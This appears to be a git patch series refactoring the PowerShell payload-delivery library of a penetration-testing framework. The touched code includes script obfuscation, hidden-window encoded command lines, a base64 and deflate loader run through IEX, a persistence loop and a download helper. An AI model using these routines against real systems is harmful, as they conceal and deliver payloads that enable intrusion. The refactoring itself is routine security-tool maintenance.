       pclause = block_extract(idx)
 
-      func_regex = /\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i
-      #func_regex = /\[(\w+\[\])\]\.?\$(\w+)\s?=|\[(\w+)\]\s?\$(\w+)\s?=/i
-      matches = pclause.scan(func_regex)
+      matches = pclause.scan(FUNCTION_REGEX)
 
       # Ignore assignment, create params with class and variable names
       matches.each do |param|
diff --git a/lib/rex/exploitation/powershell/obfu.rb b/lib/rex/exploitation/powershell/obfu.rb
index 1476432256e7..ed5ddf1e8e95 100644
--- a/lib/rex/exploitation/powershell/obfu.rb
+++ b/lib/rex/exploitation/powershell/obfu.rb
@@ -8,6 +8,12 @@ module Exploitation
 module Powershell
 
   module Obfu
+    MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
+    SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i)
+    WINDOWS_EOL_REGEX = Regexp.new(/[\r\n]+/)
+    UNIX_EOL_REGEX = Regexp.new(/[\n]+/)
+    WHITESPACE_REGEX = Regexp.new(/\s+/)
+    EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
 
     #
     # Remove comments
@@ -15,9 +21,9 @@ module Obfu
     # @return [String] code without comments
     def strip_comments
       # Multi line
-      code.gsub!(/<#(.*?)#>/m,'')
+      code.gsub!(MULTI_LINE_COMMENTS_REGEX,'')
       # Single line
-      code.gsub!(/^\s*#(?!.*region)(.*$)/i,'')
+      code.gsub!(SINGLE_LINE_COMMENTS_REGEX,'')
 
       code
     end
@@ -28,9 +34,9 @@ def strip_comments
     # @return [String] code without empty lines
     def strip_empty_lines
       # Windows EOL
-      code.gsub!(/[\r\n]+/,"\r\n")
+      code.gsub!(WINDOWS_EOL_REGEX,"\r\n")
       # UNIX EOL
-      code.gsub!(/[\n]+/,"\n")
+      code.gsub!(UNIX_EOL_REGEX,"\n")
 
       code
     end
@@ -41,7 +47,7 @@ def strip_empty_lines
     #
     # @return [String] code with whitespace stripped
     def strip_whitespace
-      code.gsub!(/\s+/,' ')
+      code.gsub!(WHITESPACE_REGEX,' ')
 
       code
     end
@@ -84,7 +90,7 @@ def standard_subs(subs = %w{strip_comments strip_whitespace sub_funcs sub_vars}
       subs.each do |modifier|
         self.send(modifier)
       end
-      code.gsub!(/^$|^\s+$/,'')
+      code.gsub!(EMPTY_LINE_REGEX,'')
 
       code
     end
diff --git a/lib/rex/exploitation/powershell/parser.rb b/lib/rex/exploitation/powershell/parser.rb
index 7564d5608269..bd679d845e39 100644
--- a/lib/rex/exploitation/powershell/parser.rb
+++ b/lib/rex/exploitation/powershell/parser.rb
@@ -125,7 +125,7 @@ def match_start(char)
     end
 
     #
-    # Extract block of code between inside brackets/parens
+    # Extract block of code inside brackets/parenthesis
     #
     # Attempts to match the bracket at idx, handling nesting manually
     # Once the balanced matching bracket is found, all script content
diff --git a/lib/rex/exploitation/powershell/psh_methods.rb b/lib/rex/exploitation/powershell/psh_methods.rb
index 398e5b2e1ab5..d85a739846f0 100644
--- a/lib/rex/exploitation/powershell/psh_methods.rb
+++ b/lib/rex/exploitation/powershell/psh_methods.rb
@@ -18,9 +18,9 @@ module PshMethods
     # @param target [String] Location to save the file
     #
     # @return [String] Powershell code to download a file
-    def self.download(src,target=nil)
+    def self.download(src, target)
       target ||= '$pwd\\' << src.split('/').last
-      return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
+      return %Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
     end
 
     #
@@ -53,7 +53,7 @@ def self.secure_string(str)
     #
     # @return [String] Powershell code to identify the PID of a file
     #   lock owner
-    def self.who_locked_file?(filename)
+    def self.who_locked_file(filename)
       return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
     end
 
diff --git a/spec/lib/rex/exploitation/powershell/psh_methods_spec.rb b/spec/lib/rex/exploitation/powershell/psh_methods_spec.rb
index a1c85cfac657..a94924f21554 100644
--- a/spec/lib/rex/exploitation/powershell/psh_methods_spec.rb
+++ b/spec/lib/rex/exploitation/powershell/psh_methods_spec.rb
@@ -7,7 +7,7 @@
 
   describe "::download" do
     it 'should return some powershell' do
-      script = Rex::Exploitation::Powershell::PshMethods.download('a')
+      script = Rex::Exploitation::Powershell::PshMethods.download('a','b')
       script.should be
       script.include?('WebClient').should be_true
     end
@@ -26,9 +26,9 @@
       script.include?('AsPlainText').should be_true
     end
   end
-  describe "::who_locked_file?" do
+  describe "::who_locked_file" do
     it 'should return some powershell' do
-      script = Rex::Exploitation::Powershell::PshMethods.who_locked_file?('a')
+      script = Rex::Exploitation::Powershell::PshMethods.who_locked_file('a')
       script.should be
       script.include?('Get-Process').should be_true
     end

From 5f0533677e2da98568c43d1f6bf74c6918548905 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Sun, 20 Jul 2014 21:07:59 +0100
Subject: [PATCH 107/108] Cheat/Rubycop all the things

---
 lib/msf/core/exploit/powershell.rb            |  83 ++---
 lib/rex/exploitation/powershell.rb            | 100 +++---
 lib/rex/exploitation/powershell/function.rb   |  10 +-
 lib/rex/exploitation/powershell/obfu.rb       |  25 +-
 lib/rex/exploitation/powershell/output.rb     |  43 +--
 lib/rex/exploitation/powershell/param.rb      |   8 +-
 lib/rex/exploitation/powershell/parser.rb     | 338 +++++++++---------
 .../exploitation/powershell/psh_methods.rb    |  17 +-
 lib/rex/exploitation/powershell/script.rb     |  25 +-
 9 files changed, 302 insertions(+), 347 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 85ceff6fbe8d..c45e002274d0 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -3,7 +3,6 @@
 
 module Msf
 module Exploit::Powershell
-
   PowershellScript = Rex::Exploitation::Powershell::Script
 
   def initialize(info = {})
@@ -16,12 +15,7 @@ def initialize(info = {})
         OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
         OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
         OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
-        OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', [
-          'net',
-          'reflection',
-          'old',
-          'msil'
-        ]]),
+        OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]),
       ], self.class)
   end
 
@@ -36,7 +30,7 @@ def encode_script(script_in)
     # Build script object
     psh = PowershellScript.new(script_in)
     # Invoke enabled modifiers
-    datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v}.keys.map do |k|
+    datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
       mod_method = k.split('::').last.intern
       psh.send(mod_method)
     end
@@ -56,7 +50,7 @@ def compress_script(script_in, eof = nil)
     # Build script object
     psh = PowershellScript.new(script_in)
     # Invoke enabled modifiers
-    datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v}.keys.map do |k|
+    datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
       mod_method = k.split('::').last.intern
       psh.send(mod_method)
     end
@@ -75,14 +69,14 @@ def compress_script(script_in, eof = nil)
   #
   # @return [String] Powershell command line with arguments
   def generate_psh_command_line(opts)
-    if opts[:path] and (opts[:path][-1,1] != "\\")
-      opts[:path] << "\\"
+    if opts[:path] and (opts[:path][-1, 1] != '\\')
+      opts[:path] << '\\'
     end
 
     if opts[:no_full_stop]
-      binary = "powershell"
+      binary = 'powershell'
     else
-      binary = "powershell.exe"
+      binary = 'powershell.exe'
     end
 
     args = generate_psh_args(opts)
@@ -122,13 +116,13 @@ def generate_psh_command_line(opts)
   #
   # @return [String] Powershell command arguments
   def generate_psh_args(opts)
-    return "" unless opts
+    return '' unless opts
 
-    unless opts.has_key? :shorten
+    unless opts.key? :shorten
       opts[:shorten] = (datastore['Powershell::method'] != 'old')
     end
 
-    arg_string = " "
+    arg_string = ' '
     opts.each_pair do |arg, value|
       case arg
       when :encodedcommand
@@ -140,25 +134,25 @@ def generate_psh_args(opts)
       when :file
         arg_string << "-File #{value} " if value
       when :noexit
-        arg_string << "-NoExit " if value
+        arg_string << '-NoExit ' if value
       when :nologo
-        arg_string << "-NoLogo " if value
+        arg_string << '-NoLogo ' if value
       when :noninteractive
-        arg_string << "-NonInteractive " if value
+        arg_string << '-NonInteractive ' if value
       when :mta
-        arg_string << "-Mta " if value
+        arg_string << '-Mta ' if value
       when :outputformat
         arg_string << "-OutputFormat #{value} " if value
       when :sta
-        arg_string << "-Sta " if value
+        arg_string << '-Sta ' if value
       when :noprofile
-        arg_string << "-NoProfile " if value
+        arg_string << '-NoProfile ' if value
       when :windowstyle
         arg_string << "-WindowStyle #{value} " if  value
       end
     end
 
-    #Command must be last (unless from stdin - etc)
+    # Command must be last (unless from stdin - etc)
     if opts[:command]
       arg_string << "-Command #{opts[:command]}"
     end
@@ -182,10 +176,10 @@ def generate_psh_args(opts)
       arg_string.gsub!('-WindowStyle ', '-w ')
     end
 
-    #Strip off first space character
+    # Strip off first space character
     arg_string = arg_string[1..-1]
-    #Remove final space character
-    arg_string = arg_string[0..-2] if (arg_string[-1] == " ")
+    # Remove final space character
+    arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
 
     arg_string
   end
@@ -202,14 +196,14 @@ def generate_psh_args(opts)
   # @return [String] Wrapped powershell code
   def run_hidden_psh(ps_code, payload_arch, encoded)
     arg_opts = {
-        :noprofile => true,
-        :windowstyle => 'hidden',
+      noprofile: true,
+      windowstyle: 'hidden',
     }
 
     if encoded
       arg_opts[:encodedcommand] = ps_code
     else
-      arg_opts[:command] = ps_code.gsub("'","''")
+      arg_opts[:command] = ps_code.gsub("'", "''")
     end
 
     # Old technique fails if powershell exits..
@@ -224,7 +218,7 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
 $s.UseShellExecute=$false
 $p=[System.Diagnostics.Process]::Start($s)
 EOS
-    process_start_info.gsub!("\n",';')
+    process_start_info.gsub!("\n", ';')
 
     archictecure_detection = <<EOS
 if([IntPtr]::Size -eq 4){
@@ -234,7 +228,7 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
 };
 EOS
 
-    archictecure_detection.gsub!("\n","")
+    archictecure_detection.gsub!("\n", '')
 
     archictecure_detection + process_start_info
   end
@@ -264,17 +258,17 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
   #   argument in single quotes unless :encode_final_payload
   #
   # @return [String] Powershell command line with payload
-  def cmd_psh_payload(pay, payload_arch, opts={})
+  def cmd_psh_payload(pay, payload_arch, opts = {})
     opts[:persist] ||= datastore['Powershell::persist']
     opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
     opts[:method] ||= datastore['Powershell::method']
 
     if opts[:encode_inner_payload] && opts[:encode_final_payload]
-      raise RuntimeError, ":encode_inner_payload and :encode_final_payload are incompatible options"
+      fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
     end
 
     if opts[:no_equals] && !opts[:encode_final_payload]
-      raise RuntimeError, ":no_equals requires :encode_final_payload option to be used"
+      fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
     end
 
     psh_payload = case opts[:method]
@@ -285,15 +279,15 @@ def cmd_psh_payload(pay, payload_arch, opts={})
     when 'old'
       Msf::Util::EXE.to_win32pe_psh(framework, pay)
     when 'msil'
-      raise RuntimeError, "MSIL Powershell method no longer exists"
+      fail RuntimeError, 'MSIL Powershell method no longer exists'
     else
-      raise RuntimeError, "No Powershell method specified"
+      fail RuntimeError, 'No Powershell method specified'
     end
 
     # Run our payload in a while loop
     if opts[:persist]
-      fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
-      sleep_time = rand(5)+5
+      fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
+      sleep_time = rand(5) + 5
       vprint_status("Sleep time set to #{sleep_time} seconds")
       psh_payload  = "function #{fun_name}{#{psh_payload}};"
       psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
@@ -334,8 +328,8 @@ def cmd_psh_payload(pay, payload_arch, opts={})
     final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
 
     command_args = {
-      :noprofile => true,
-      :windowstyle => 'hidden'
+      noprofile: true,
+      windowstyle: 'hidden'
     }.merge(opts)
 
     if opts[:encode_final_payload]
@@ -345,14 +339,14 @@ def cmd_psh_payload(pay, payload_arch, opts={})
       # payload contains none.
       if opts[:no_equals]
         while command_args[:encodedcommand].include? '='
-          final_payload << " "
+          final_payload << ' '
           command_args[:encodedcommand] = encode_script(final_payload)
         end
       end
     else
       if opts[:use_single_quotes]
         # Escape Single Quotes
-        final_payload.gsub!("'","''")
+        final_payload.gsub!("'", "''")
         # Wrap command in quotes
         final_payload = "'#{final_payload}'"
       end
@@ -370,20 +364,17 @@ def cmd_psh_payload(pay, payload_arch, opts={})
 
     vprint_status("Powershell command length: #{command.length}")
     if command.length > 8191
-      raise RuntimeError, "Powershell command length is greater than the command line maximum (8192 characters)"
+      fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
     end
 
     command
   end
 
-
   #
   # Useful method cache
   #
   module PshMethods
     include Rex::Exploitation::Powershell::PshMethods
   end
-
 end
 end
-
diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index dd542e8f6670..bfc42e900157 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -9,58 +9,54 @@
 require 'rex/exploitation/powershell/psh_methods'
 
 module Rex
-module Exploitation
-
-module Powershell
-
-  #
-  # Reads script into a PowershellScript
-  #
-  # @param script_path [String] Path to the Script File
-  #
-  # @return [Script] Powershell Script object
-  def self.read_script(script_path)
-    Rex::Exploitation::Powershell::Script.new(script_path)
-  end
-
-  #
-  # Insert substitutions into the powershell script
-  # If script is a path to a file then read the file
-  # otherwise treat it as the contents of a file
-  #
-  # @param script [String] Script file or path to script
-  # @param subs [Array] Substitutions to insert
-  #
-  # @return [String] Modified script file
-  def self.make_subs(script, subs)
-    if ::File.file?(script)
-      script = ::File.read(script)
+  module Exploitation
+    module Powershell
+      #
+      # Reads script into a PowershellScript
+      #
+      # @param script_path [String] Path to the Script File
+      #
+      # @return [Script] Powershell Script object
+      def self.read_script(script_path)
+        Rex::Exploitation::Powershell::Script.new(script_path)
+      end
+
+      #
+      # Insert substitutions into the powershell script
+      # If script is a path to a file then read the file
+      # otherwise treat it as the contents of a file
+      #
+      # @param script [String] Script file or path to script
+      # @param subs [Array] Substitutions to insert
+      #
+      # @return [String] Modified script file
+      def self.make_subs(script, subs)
+        if ::File.file?(script)
+          script = ::File.read(script)
+        end
+
+        subs.each do |set|
+          script.gsub!(set[0], set[1])
+        end
+
+        script
+      end
+
+      #
+      # Return an array of substitutions for use in make_subs
+      #
+      # @param subs [String] A ; seperated list of substitutions
+      #
+      # @return [Array] An array of substitutions
+      def self.process_subs(subs)
+        return [] if subs.nil? or subs.empty?
+        new_subs = []
+        subs.split(';').each do |set|
+          new_subs << set.split(',', 2)
+        end
+
+        new_subs
+      end
     end
-
-    subs.each do |set|
-      script.gsub!(set[0],set[1])
-    end
-
-    script
   end
-
-  #
-  # Return an array of substitutions for use in make_subs
-  #
-  # @param subs [String] A ; seperated list of substitutions
-  #
-  # @return [Array] An array of substitutions
-  def self.process_subs(subs)
-    return [] if subs.nil? or subs.empty?
-    new_subs = []
-    subs.split(';').each do |set|
-      new_subs << set.split(',', 2)
-    end
-
-    new_subs
-  end
-
 end
-end
-end
-
diff --git a/lib/rex/exploitation/powershell/function.rb b/lib/rex/exploitation/powershell/function.rb
index bd8ae6e433f1..1792be96a61d 100644
--- a/lib/rex/exploitation/powershell/function.rb
+++ b/lib/rex/exploitation/powershell/function.rb
@@ -2,9 +2,7 @@
 
 module Rex
 module Exploitation
-
 module Powershell
-
   class Function
     FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
     PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im)
@@ -14,7 +12,7 @@ class Function
     include Parser
     include Obfu
 
-    def initialize(name,code)
+    def initialize(name, code)
       @name = name
       @code = code
       populate_params
@@ -37,7 +35,7 @@ def populate_params
       start = code.index(PARAMETER_REGEX)
       return unless start
       # Get start of our block
-      idx = scan_with_index('(',code[start..-1]).first.last + start
+      idx = scan_with_index('(', code[start..-1]).first.last + start
       pclause = block_extract(idx)
 
       matches = pclause.scan(FUNCTION_REGEX)
@@ -50,7 +48,7 @@ def populate_params
           if value
             if klass
               name = value
-              @params << Param.new(klass,name)
+              @params << Param.new(klass, name)
               break
             else
               klass = value
@@ -60,8 +58,6 @@ def populate_params
       end
     end
   end
-
 end
 end
 end
-
diff --git a/lib/rex/exploitation/powershell/obfu.rb b/lib/rex/exploitation/powershell/obfu.rb
index ed5ddf1e8e95..c459a3bfa733 100644
--- a/lib/rex/exploitation/powershell/obfu.rb
+++ b/lib/rex/exploitation/powershell/obfu.rb
@@ -4,9 +4,7 @@
 
 module Rex
 module Exploitation
-
 module Powershell
-
   module Obfu
     MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
     SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i)
@@ -21,9 +19,9 @@ module Obfu
     # @return [String] code without comments
     def strip_comments
       # Multi line
-      code.gsub!(MULTI_LINE_COMMENTS_REGEX,'')
+      code.gsub!(MULTI_LINE_COMMENTS_REGEX, '')
       # Single line
-      code.gsub!(SINGLE_LINE_COMMENTS_REGEX,'')
+      code.gsub!(SINGLE_LINE_COMMENTS_REGEX, '')
 
       code
     end
@@ -34,9 +32,9 @@ def strip_comments
     # @return [String] code without empty lines
     def strip_empty_lines
       # Windows EOL
-      code.gsub!(WINDOWS_EOL_REGEX,"\r\n")
+      code.gsub!(WINDOWS_EOL_REGEX, "\r\n")
       # UNIX EOL
-      code.gsub!(UNIX_EOL_REGEX,"\n")
+      code.gsub!(UNIX_EOL_REGEX, "\n")
 
       code
     end
@@ -47,7 +45,7 @@ def strip_empty_lines
     #
     # @return [String] code with whitespace stripped
     def strip_whitespace
-      code.gsub!(WHITESPACE_REGEX,' ')
+      code.gsub!(WHITESPACE_REGEX, ' ')
 
       code
     end
@@ -58,7 +56,7 @@ def strip_whitespace
     # @return [String] code with variable names replaced with unique values
     def sub_vars
       # Get list of variables, remove reserved
-      get_var_names.each do |var,sub|
+      get_var_names.each do |var, _sub|
         code.gsub!(var, "$#{@rig.init_var(var)}")
       end
 
@@ -72,7 +70,7 @@ def sub_vars
     #   values
     def sub_funcs
       # Find out function names, make map
-      get_func_names.each do |var, sub|
+      get_func_names.each do |var, _sub|
         code.gsub!(var, @rig.init_var(var))
       end
 
@@ -83,21 +81,18 @@ def sub_funcs
     # Perform standard substitutions
     #
     # @return [String] code with standard substitution methods applied
-    def standard_subs(subs = %w{strip_comments strip_whitespace sub_funcs sub_vars} )
+    def standard_subs(subs = %w(strip_comments strip_whitespace sub_funcs sub_vars))
       # Save us the trouble of breaking injected .NET and such
       subs.delete('strip_whitespace') unless get_string_literals.empty?
       # Run selected modifiers
       subs.each do |modifier|
-        self.send(modifier)
+        send(modifier)
       end
-      code.gsub!(EMPTY_LINE_REGEX,'')
+      code.gsub!(EMPTY_LINE_REGEX, '')
 
       code
     end
-
   end # Obfu
-
 end
 end
 end
-
diff --git a/lib/rex/exploitation/powershell/output.rb b/lib/rex/exploitation/powershell/output.rb
index 7a72ca01fd06..ea42c1770b62 100644
--- a/lib/rex/exploitation/powershell/output.rb
+++ b/lib/rex/exploitation/powershell/output.rb
@@ -5,11 +5,8 @@
 
 module Rex
 module Exploitation
-
 module Powershell
-
   module Output
-
     #
     # To String
     #
@@ -32,7 +29,7 @@ def size
     # @return [String] Powershell code with line numbers
     def to_s_lineno
       numbered = ''
-      code.split(/\r\n|\n/).each_with_index do |line,idx|
+      code.split(/\r\n|\n/).each_with_index do |line, idx|
         numbered << "#{idx}: #{line}"
       end
 
@@ -49,27 +46,27 @@ def to_s_lineno
     def deflate_code(eof = nil)
       # Compress using the Deflate algorithm
       compressed_stream = ::Zlib::Deflate.deflate(code,
-      ::Zlib::BEST_COMPRESSION)
+                                                  ::Zlib::BEST_COMPRESSION)
 
       # Base64 encode the compressed file contents
       encoded_stream = Rex::Text.encode_base64(compressed_stream)
 
       # Build the powershell expression
       # Decode base64 encoded command and create a stream object
-      psh_expression =  "$s=New-Object IO.MemoryStream(,"
+      psh_expression =  '$s=New-Object IO.MemoryStream(,'
       psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
       # Read & delete the first two bytes due to incompatibility with MS
-      psh_expression << "$s.ReadByte();"
-      psh_expression << "$s.ReadByte();"
+      psh_expression << '$s.ReadByte();'
+      psh_expression << '$s.ReadByte();'
       # Uncompress and invoke the expression (execute)
-      psh_expression << "IEX (New-Object IO.StreamReader("
-      psh_expression << "New-Object IO.Compression.DeflateStream("
-      psh_expression << "$s,"
-      psh_expression << "[IO.Compression.CompressionMode]::Decompress)"
-      psh_expression << ")).ReadToEnd();"
+      psh_expression << 'IEX (New-Object IO.StreamReader('
+      psh_expression << 'New-Object IO.Compression.DeflateStream('
+      psh_expression << '$s,'
+      psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
+      psh_expression << ')).ReadToEnd();'
 
       # If eof is set, add a marker to signify end of code output
-      #if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
+      # if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
       psh_expression << "echo '#{eof}';" if eof
 
       @code = psh_expression
@@ -99,17 +96,17 @@ def gzip_code(eof = nil)
 
       # Build the powershell expression
       # Decode base64 encoded command and create a stream object
-      psh_expression =  "$s=New-Object IO.MemoryStream(,"
+      psh_expression =  '$s=New-Object IO.MemoryStream(,'
       psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
       # Uncompress and invoke the expression (execute)
-      psh_expression << "IEX (New-Object IO.StreamReader("
-      psh_expression << "New-Object IO.Compression.GzipStream("
-      psh_expression << "$s,"
-      psh_expression << "[IO.Compression.CompressionMode]::Decompress)"
-      psh_expression << ")).ReadToEnd();"
+      psh_expression << 'IEX (New-Object IO.StreamReader('
+      psh_expression << 'New-Object IO.Compression.GzipStream('
+      psh_expression << '$s,'
+      psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
+      psh_expression << ')).ReadToEnd();'
 
       # If eof is set, add a marker to signify end of code output
-      #if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
+      # if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
       psh_expression << "echo '#{eof}';" if eof
 
       @code = psh_expression
@@ -142,15 +139,13 @@ def decompress_code
         begin
           @code = Rex::Text.zlib_inflate(unencoded)
         rescue Zlib::DataError => e
-          raise RuntimeError, "Invalid compression"
+          raise RuntimeError, 'Invalid compression'
         end
       end
 
       @code
     end
   end
-
 end
 end
 end
-
diff --git a/lib/rex/exploitation/powershell/param.rb b/lib/rex/exploitation/powershell/param.rb
index 27815e9e1feb..96a4e54480c8 100644
--- a/lib/rex/exploitation/powershell/param.rb
+++ b/lib/rex/exploitation/powershell/param.rb
@@ -2,14 +2,12 @@
 
 module Rex
 module Exploitation
-
 module Powershell
-
   class Param
     attr_accessor :klass, :name
-    def initialize(klass,name)
+    def initialize(klass, name)
       @klass = klass.strip
-      @name = name.strip.gsub(/\s|,/,'')
+      @name = name.strip.gsub(/\s|,/, '')
     end
 
     #
@@ -20,8 +18,6 @@ def to_s
       "[#{klass}]$#{name}"
     end
   end
-
 end
 end
 end
-
diff --git a/lib/rex/exploitation/powershell/parser.rb b/lib/rex/exploitation/powershell/parser.rb
index bd679d845e39..9304403f479e 100644
--- a/lib/rex/exploitation/powershell/parser.rb
+++ b/lib/rex/exploitation/powershell/parser.rb
@@ -1,187 +1,183 @@
 # -*- coding: binary -*-
 
 module Rex
-module Exploitation
-
-module Powershell
-
-  module Parser
-    # Reserved special variables
-    # Acquired with: Get-Variable | Format-Table name, value -auto
-    RESERVED_VARIABLE_NAMES = [
-        '$$',
-        '$?',
-        '$^',
-        '$_',
-        '$args',
-        '$ConfirmPreference',
-        '$ConsoleFileName',
-        '$DebugPreference',
-        '$Env',
-        '$Error',
-        '$ErrorActionPreference',
-        '$ErrorView',
-        '$ExecutionContext',
-        '$false',
-        '$FormatEnumerationLimit',
-        '$HOME',
-        '$Host',
-        '$input',
-        '$LASTEXITCODE',
-        '$MaximumAliasCount',
-        '$MaximumDriveCount',
-        '$MaximumErrorCount',
-        '$MaximumFunctionCount',
-        '$MaximumHistoryCount',
-        '$MaximumVariableCount',
-        '$MyInvocation',
-        '$NestedPromptLevel',
-        '$null',
-        '$OutputEncoding',
-        '$PID',
-        '$PROFILE',
-        '$ProgressPreference',
-        '$PSBoundParameters',
-        '$PSCulture',
-        '$PSEmailServer',
-        '$PSHOME',
-        '$PSSessionApplicationName',
-        '$PSSessionConfigurationName',
-        '$PSSessionOption',
-        '$PSUICulture',
-        '$PSVersionTable',
-        '$PWD',
-        '$ReportErrorShowExceptionClass',
-        '$ReportErrorShowInnerException',
-        '$ReportErrorShowSource',
-        '$ReportErrorShowStackTrace',
-        '$ShellId',
-        '$StackTrace',
-        '$true',
-        '$VerbosePreference',
-        '$WarningPreference',
-        '$WhatIfPreference'
-      ].map(&:downcase).freeze
-
-    #
-    # Get variable names from code, removes reserved names from return
-    #
-    # @return [Array] variable names
-    def get_var_names
-      our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
-      our_vars.select {|v| !RESERVED_VARIABLE_NAMES.include?(v.downcase)}
-    end
-
-    #
-    # Get function names from code
-    #
-    # @return [Array] function names
-    def get_func_names
-      code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
-    end
-
-    #
-    # Attempt to find string literals in PSH expression
-    #
-    # @return [Array] string literals
-    def get_string_literals
-      code.scan(/@"(.+?)"@|@'(.+?)'@/m)
-    end
-
-    #
-    # Scan code and return matches with index
-    #
-    # @param str [String] string to match in code
-    # @param source [String] source code to match, defaults to @code
-    #
-    # @return [Array[String,Integer]] matched items with index
-    def scan_with_index(str,source=code)
-      ::Enumerator.new do |y|
-        source.scan(str) do
-          y << ::Regexp.last_match
+  module Exploitation
+    module Powershell
+      module Parser
+        # Reserved special variables
+        # Acquired with: Get-Variable | Format-Table name, value -auto
+        RESERVED_VARIABLE_NAMES = [
+          '$$',
+          '$?',
+          '$^',
+          '$_',
+          '$args',
+          '$ConfirmPreference',
+          '$ConsoleFileName',
+          '$DebugPreference',
+          '$Env',
+          '$Error',
+          '$ErrorActionPreference',
+          '$ErrorView',
+          '$ExecutionContext',
+          '$false',
+          '$FormatEnumerationLimit',
+          '$HOME',
+          '$Host',
+          '$input',
+          '$LASTEXITCODE',
+          '$MaximumAliasCount',
+          '$MaximumDriveCount',
+          '$MaximumErrorCount',
+          '$MaximumFunctionCount',
+          '$MaximumHistoryCount',
+          '$MaximumVariableCount',
+          '$MyInvocation',
+          '$NestedPromptLevel',
+          '$null',
+          '$OutputEncoding',
+          '$PID',
+          '$PROFILE',
+          '$ProgressPreference',
+          '$PSBoundParameters',
+          '$PSCulture',
+          '$PSEmailServer',
+          '$PSHOME',
+          '$PSSessionApplicationName',
+          '$PSSessionConfigurationName',
+          '$PSSessionOption',
+          '$PSUICulture',
+          '$PSVersionTable',
+          '$PWD',
+          '$ReportErrorShowExceptionClass',
+          '$ReportErrorShowInnerException',
+          '$ReportErrorShowSource',
+          '$ReportErrorShowStackTrace',
+          '$ShellId',
+          '$StackTrace',
+          '$true',
+          '$VerbosePreference',
+          '$WarningPreference',
+          '$WhatIfPreference'
+        ].map(&:downcase).freeze
+
+        #
+        # Get variable names from code, removes reserved names from return
+        #
+        # @return [Array] variable names
+        def get_var_names
+          our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
+          our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
         end
-      end.map{|m| [m.to_s,m.offset(0)[0]]}
-    end
 
-    #
-    # Return matching bracket type
-    #
-    # @param char [String] opening bracket character
-    #
-    # @return [String] matching closing bracket
-    def match_start(char)
-      case char
-      when '{'
-        '}'
-      when '('
-        ')'
-      when '['
-        ']'
-      when '<'
-        '>'
-      else
-        raise ArgumentError, "Unknown starting bracket"
-      end
-    end
+        #
+        # Get function names from code
+        #
+        # @return [Array] function names
+        def get_func_names
+          code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
+        end
 
-    #
-    # Extract block of code inside brackets/parenthesis
-    #
-    # Attempts to match the bracket at idx, handling nesting manually
-    # Once the balanced matching bracket is found, all script content
-    # between idx and the index of the matching bracket is returned
-    #
-    # @param idx [Integer] index of opening bracket
-    #
-    # @return [String] content between matching brackets
-    def block_extract(idx)
-      raise ArgumentError unless idx
+        #
+        # Attempt to find string literals in PSH expression
+        #
+        # @return [Array] string literals
+        def get_string_literals
+          code.scan(/@"(.+?)"@|@'(.+?)'@/m)
+        end
 
-      if idx < 0 || idx >= code.length
-          raise ArgumentError, "Invalid index"
-      end
+        #
+        # Scan code and return matches with index
+        #
